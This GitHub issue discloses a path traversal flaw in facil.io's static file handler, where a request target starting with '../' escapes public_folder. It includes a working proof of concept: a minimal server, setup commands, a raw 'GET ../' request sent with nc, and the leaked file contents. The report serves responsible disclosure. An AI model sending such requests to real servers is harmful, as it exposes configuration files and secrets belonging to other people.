Skip to content

[Security] Path traversal in facil.io static file handler when public_folder is enabled #170

Description

@HMF2021

Summary

A path traversal vulnerability exists in facil.io's built-in static file handler when static file serving is enabled through .public_folder. An unauthenticated remote client can request a path that starts with ../ and cause the server to serve files outside the configured public directory. This can allow remote attackers to read files that should not be exposed by the static file service, limited by the filesystem permissions of the server process.

Details

The issue is in http_sendfile2() in lib/facil/http/http.c.

The function builds the target file path by concatenating the configured public_folder with the request path, and then attempts to reject path traversal using http_test_encoded_path():

if (http_test_encoded_path(tmp.data + prefix_len, tmp.len - prefix_len))
  return -1;

However, http_test_encoded_path() only detects traversal sequences when they appear after a slash, such as /../. It does not reject a request path that begins directly with ../.

The HTTP/1 parser also accepts request targets that do not start with /. Therefore, the following request target is accepted by the server:

GET ../secret/secret.txt HTTP/1.1
Host: target

If the configured static file root is:

/var/www/public/

then facil.io attempts to open the following path:

/var/www/public/../secret/secret.txt

This escapes the intended static file root and allows access to files outside public_folder.

PoC

Build a minimal facil.io server with static file serving enabled through .public_folder:

#include <fio.h>
#include <http.h>

static void on_request(http_s *h) {
  http_send_body(h, "APP\n", 4);
}

int main(void) {
  http_listen("34567", "127.0.0.1",
              .on_request = on_request,
              .public_folder = "/tmp/facil_audit_www/",
              .log = 0,
              .timeout = 2);
  fio_start(.threads = 1, .workers = 1);
}

Prepare the public directory and a separate secret directory outside it:

mkdir -p /tmp/facil_audit_www /tmp/facil_audit_secret
printf 'PUBLIC_OK\n' > /tmp/facil_audit_www/index.html
printf 'SECRET_LEAK_12345\n' > /tmp/facil_audit_secret/secret.txt

Send a request whose target starts with ../:

printf 'GET ../facil_audit_secret/secret.txt HTTP/1.1\r\nHost: x\r\nConnection: close\r\n\r\n' \
  | nc 127.0.0.1 34567

Observed response:

HTTP/1.1 200 OK
content-type:text/plain
content-length:18

SECRET_LEAK_12345

This demonstrates that a file outside the configured public_folder can be served through the static file handler.

Impact

This is a path traversal vulnerability in facil.io's static file service.

Any application that enables facil.io's built-in static file serving through .public_folder may allow unauthenticated remote users to read files outside the intended public directory. The exposed files are limited by the filesystem permissions of the server process, but may include configuration files, application data, secrets, logs, source files, or other sensitive local files located near the public directory.

This issue is not reachable when .public_folder is unset.

Affected products:

  • Ecosystem: Other
  • Package name: facil.io
  • Affected versions: <= 0.7.58
  • Patched versions: none identified

Severity:

  • Severity: High
  • CVSS v3.1 vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Weakness:

  • CWE-22: Improper Limitation of a Pathname to a Restricted Directory

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions